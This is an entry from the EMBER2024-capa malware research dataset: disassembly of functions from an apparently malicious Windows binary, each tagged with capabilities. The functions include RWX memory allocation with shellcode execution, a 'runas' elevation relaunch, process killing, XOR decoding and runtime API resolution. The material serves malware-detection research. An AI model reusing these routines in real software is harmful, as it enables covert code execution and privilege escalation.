joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409010
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov ebx, ecx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x409070
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call edi
test eax, eax
je 0x4090dd
nop word [eax + eax]
mov eax, ebx
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4090b6
test dl, dl
je 0x4090b2
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4090b6
add ecx, 2
add eax, 2
test dl, dl
jne 0x409096
xor eax, eax
jmp 0x4090bb
sbb eax, eax
or eax, 1
test eax, eax
je 0x4090d5
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push esi
call edi
test eax, eax
jne 0x409090
jmp 0x4090dd
mov eax, dword [esp + 0x18]
mov dword [esp + 0xc], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x409bd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x1000
lea esi, [edx - 0x65]
mov edi, ecx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [edi + 0x65]
mov dword [ebp - 4], eax
push ecx
push eax
call fcn.0041c760
add esp, 0xc
pushal
mov eax, dword [ebp - 4]
call eax
popal
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409c10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10c], edx
mov esi, ebx
push edi
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x409c33
sub esi, edi
je 0x409d5a
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.0041cce0
add esp, 8
lea eax, [ebp - 0x108]
mov edx, str.Applicationsiexplore.exe_shellopencommand
push 0x104
push ecx
push eax
push 1
push 0
mov ecx, SysReAllocString
call fcn.004132c0
add esp, 0x18
test eax, eax
je 0x409d5a
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x409d5a
lea eax, [ebp - 0x108]
push 0x449c1c
push eax
call fcn.0041c040
add esp, 8
test eax, eax
je 0x409d5a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp - 0x10c], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x150], xmm0
movlpd qword [ebp - 0x148], xmm0
movlpd qword [ebp - 0x140], xmm0
movlpd qword [ebp - 0x138], xmm0
movlpd qword [ebp - 0x130], xmm0
movlpd qword [ebp - 0x128], xmm0
movlpd qword [ebp - 0x120], xmm0
movlpd qword [ebp - 0x118], xmm0
mov dword [ebp - 0x154], 0x44
je 0x409d1e
mov dword [ebp - 0x14c], str.WinSta0Default
jmp 0x409d31
xor eax, eax
mov dword [ebp - 0x128], 1
mov word [ebp - 0x124], ax
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x154]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x40a290
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esi], vtable.CKernelManager.0
cmp dword [esi + 0xfac], ebx
jbe 0x40a2cf
push edi
lea edi, [esi + 0xc]
nop dword [eax + eax]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
lea edi, [edi + 4]
cmp ebx, dword [esi + 0xfac]
jb 0x40a2b0
pop edi
push dword [esi + 8]
mov dword [esi], vtable.CManager.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [ebp + 8], 1
je 0x40a2f2
push 0xfb4
push esi
call fcn.00419e07
add esp, 8
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x40a360
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x44f040]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a3df
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40a3d8
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x40a3ba
mov eax, dword [esi]
lea ecx, [esp + 0x34]
push ecx
push eax
call fcn.00423528
add esp, 8
test eax, eax
je 0x40a3f6
lea eax, [esp + 0x10]
push eax
push edi
call ebx
test eax, eax
jne 0x40a3b0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x40d2b0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c090
mov eax, dword fs:[0]
push eax
sub esp, 0x15c
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor esi, esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x124]
mov dword [ebp - 0x128], 0
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x120]
mov dword [ebp - 0x124], esi
push eax
mov dword [ebp - 0x120], esi
mov word [ebp - 0x11c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40d348
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x124]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x40d350
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x124]
test eax, eax
je 0x40d36b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x124], 0
test esi, esi
jne 0x40d467
jmp 0x40d37d
cmp dword [ebp - 0x128], 0
jne 0x40d433
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.0041cce0
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40d43d
push 0x38
lea eax, [ebp - 0x164]
mov dword [ebp - 0x168], 0x3c
push 0
push eax
call fcn.0041cce0
add esp, 0xc
mov dword [ebp - 0x15c], str.runas
lea eax, [ebp - 0x118]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x168]
mov dword [ebp - 0x14c], 0xa
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x40d43d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x40d42d
mov dword [0x44fb68], 3
jmp 0x40d43d
test eax, eax
jne 0x40d459
mov al, 1
mov dword [0x44fb68], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
mov dword [0x44fb68], 1
xor al, al
jmp 0x40d43d
push 0x44d74c
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x12c], esi
push eax
call fcn.0041ce70
int3
Function at 0x40d490
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x453638]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [eax]
cmp esi, eax
je 0x40d5f8
mov ebx, dword [sym.imp.KERNEL32.dll_AttachConsole]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esi + 0x10]
call ebx
test eax, eax
jne 0x40d4dd
push 0xa
call edi
push dword [esi + 0x10]
call ebx
test eax, eax
je 0x40d4d0
push 1
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov ebx, eax
mov dword [ebp - 0x40c], ebx
cmp ebx, 1
jbe 0x40d583
xor ecx, ecx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00419e38
add esp, 4
mov dword [ebp - 0x408], eax
push ebx
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
xor edi, edi
nop dword [eax + eax]
mov ebx, dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, eax
je 0x40d563
cmp ebx, dword [esi + 0x10]
je 0x40d563
push ebx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x40d563
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x408]
inc edi
cmp edi, dword [ebp - 0x40c]
jb 0x40d530
mov eax, ebx
push eax
call fcn.00419e41
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_FreeConsole]
call ebx
test eax, eax
jne 0x40d59a
nop
push 0xa
call edi
call ebx
test eax, eax
je 0x40d590
push 0
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x40d5cb
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x40d5c7
cmp esi, dword [eax + 8]
jne 0x40d5c7
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x40d5b7
mov esi, eax
jmp 0x40d5df
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0xd], 0
jne 0x40d5df
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0xd], 0
je 0x40d5d5
mov ebx, dword [sym.imp.KERNEL32.dll_AttachConsole]
cmp esi, dword [0x453638]
jne 0x40d4c7
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
push 0x400
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x420]
mov dword [ebp - 0x464], 0x44
push eax
lea eax, [ebp - 0x464]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x404]
movlpd qword [ebp - 0x460], xmm0
push eax
push 0
movlpd qword [ebp - 0x458], xmm0
movlpd qword [ebp - 0x450], xmm0
movlpd qword [ebp - 0x448], xmm0
movlpd qword [ebp - 0x440], xmm0
movlpd qword [ebp - 0x438], xmm0
movlpd qword [ebp - 0x430], xmm0
movlpd qword [ebp - 0x428], xmm0
movups xmmword [ebp - 0x420], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40d6a5
push dword [ebp - 0x41c]
call ebx
push dword [ebp - 0x420]
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x40f140
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c170
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x44f040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
lea eax, [ecx + 4]
mov dword [ecx], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
lea ebx, [ecx + 0x24]
mov dword [ebp - 0x14], eax
lea edi, [ecx + 0x28]
mov dword [eax], 0
push 8
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
call fcn.00419e46
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.0041ae69
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
mov ecx, eax
mov dword [eax + 0x34], esi
call fcn.0040f410
mov eax, dword [ebp - 0x10]
lea edx, [eax + 8]
lea ecx, [eax + 0x14]
lea esi, [eax + 4]
mov dword [eax + 0x10], edx
mov dword [eax + 0xc], esi
mov esi, eax
mov dword [eax + 0x1c], ecx
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [eax + 0x48], 0
mov byte [eax + 0x3d], 0
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], edi
mov esi, dword [ebp - 0x14]
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
mov dword [eax], 0
mov eax, dword [0x453e90]
mov dword [edi], 0
mov dword [esi], 0
mov dword [ecx], 0
mov ecx, dword [0x453e94]
mov dword [ebx], 0
mov dword [edx + 0x40], eax
mov eax, edx
mov dword [edx + 0x4c], 0
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4107e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ecx, 0x450b60
push 0
call fcn.00419d92
mov edi, eax
mov esi, 1
test edi, edi
je 0x410948
mov ebx, dword [ebp + 8]
mov eax, ebx
shr eax, 4
mov dword [ebp - 4], eax
inc eax
movzx eax, ax
mov dword [ebp + 8], eax
nop dword [eax]
push 0
push eax
push 6
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
test eax, eax
je 0x410841
push ebx
mov edx, eax
mov ecx, edi
call fcn.00410d70
add esp, 4
test eax, eax
jne 0x41085c
push esi
mov ecx, 0x450b60
call fcn.00419d92
mov edi, eax
inc esi
test edi, edi
je 0x410948
mov eax, dword [ebp + 8]
jmp 0x410820
test edi, edi
je 0x410948
mov eax, dword [ebp - 4]
inc eax
push 6
movzx eax, ax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x410948
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x410948
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x410948
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and ebx, 0xf
jbe 0x4108c9
cmp esi, ecx
jae 0x410948
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ebx, 1
jne 0x4108b3
cmp esi, ecx
jae 0x410948
cmp word [esi], 0
je 0x410948
movzx eax, word [esi]
lea ecx, [esi + 2]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x410953
mov ebx, dword [ebp - 8]
mov edx, 1
mov ecx, dword [ebx]
sub edx, dword [ecx - 4]
mov ecx, dword [ecx - 8]
sub ecx, edi
or edx, ecx
jge 0x410911
push edi
mov ecx, ebx
call fcn.0040f590
movzx eax, word [esi]
push 0
push 0
push edi
push dword [ebx]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x410953
mov dword [eax - 0xc], edi
mov eax, dword [ebx]
mov byte [edi + eax], 0
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.00410df0
int3

Function at 0x410d70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x410dcb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x410dcb
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x410db8
cmp esi, edx
jae 0x410dcb
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x410da6
cmp esi, edx
jae 0x410dcb
xor eax, eax
cmp word [esi], ax
pop edi
cmove esi, eax
mov eax, esi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x411f80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, edx
push 0
push edi
call fcn.0041cce0
push 0x400
lea eax, [ebp - 0x410]
push 0
push eax
call fcn.0041cce0
push 0x4533c8
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6e69614d
push eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0xc], 0x5c6c6c44
push eax
mov word [ebp - 8], 0x7325
mov byte [ebp - 6], 0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea edx, [ebp - 0x410]
push dword [ebp + 0xc]
push ecx
push edi
push 1
push ebx
mov ecx, SysReAllocString
call fcn.004132c0
mov ecx, dword [ebp - 4]
add esp, 0x18
xor ecx, ebp
pop edi
pop ebx
call fcn.00419df9
mov esp, ebp
pop ebp
ret

Function at 0x4121a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea edx, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.00412020
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x412250
push edi
mov edi, dword [ebp - 4]
cmp esi, 0x40
jb 0x412243
push ebx
and eax, 0x8000003f
jns 0x4121d6
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm1, xmmword [0x44aeb0]
lea edx, [edi + 0x20]
movaps xmm2, xmmword [0x44af00]
mov ebx, esi
sub ebx, eax
nop dword [eax + eax]
movups xmm0, xmmword [edx - 0x20]
add ecx, 0x40
lea edx, [edx + 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [edx - 0x60], xmm0
movups xmm0, xmmword [edx - 0x50]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [edx - 0x50], xmm0
movups xmm0, xmmword [edx - 0x40]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [edx - 0x40], xmm0
movups xmm0, xmmword [edx - 0x30]
psubb xmm0, xmm1
xorps xmm0, xmm2
movups xmmword [edx - 0x30], xmm0
cmp ecx, ebx
jl 0x4121f0
pop ebx
cmp ecx, esi
jl 0x412243
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov al, byte [ecx + edi]
sub al, 0x13
xor al, 0x93
mov byte [ecx + edi], al
inc ecx
jmp 0x412237
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x412e80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push 0
push 0
push 0
push 0
mov dword [ebp - 0x10], 0x412800
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push 0x412ef0
push 0
push 0
call fcn.00424b5a
add esp, 0x18
mov ebx, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x412f40
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x44cd20
push 0x41c4d0
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x44f040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x128], ecx
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov dword [ebp - 0x120], eax
push str.GetThreadDesktop
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov ebx, eax
push str.GetUserObjectInformationA
push dword [ebp - 0x120]
call esi
mov dword [ebp - 0x12c], eax
push str.SetThreadDesktop
push dword [ebp - 0x120]
call esi
mov dword [ebp - 0x130], eax
push str.CloseDesktop
push dword [ebp - 0x120]
call esi
mov dword [ebp - 0x134], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x138], eax
push 0x44ab5c
push eax
call esi
call eax
push eax
call ebx
mov ebx, eax
mov esi, 1
mov dword [ebp - 0x124], esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x13c]
push eax
push 0x100
lea eax, [ebp - 0x11c]
push eax
push 2
mov edi, dword [ebp - 0x128]
push edi
call dword [ebp - 0x12c]
test eax, eax
jne 0x413036
xor esi, esi
mov dword [ebp - 0x124], esi
jmp 0x413048
push edi
call dword [ebp - 0x130]
test eax, eax
je 0x41302c
push ebx
call dword [ebp - 0x134]
mov dword [ebp - 4], 0xfffffffe
call fcn.00413078
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
Function at 0x413170
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x44ab94
mov ebx, edx
mov dword [ebp - 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 0x44aba4
push edi
mov dword [ebp - 0x28], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44abb8
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44abd0
push edi
mov dword [ebp - 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.kernel32.dll
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 0x44abe8
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x18]
push ecx
push 0x28
call eax
push eax
call esi
test eax, eax
jne 0x4131fd
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00419df9
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
neg ebx
push eax
push dword [ebp - 0x1c]
sbb ebx, ebx
and ebx, 2
push 0
mov dword [ebp - 8], ebx
call dword [ebp - 0x20]
push 0
push 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x18]
call dword [ebp - 0x24]
push 0x44abfc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x44ac0c
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
push dword [ebp - 0x18]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x413260
push eax
call esi
test edi, edi
je 0x413267
push edi
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
test ebx, ebx
pop edi
sete al
xor ecx, ebp
pop esi
pop ebx
call fcn.00419df9
mov esp, ebp
pop ebp
ret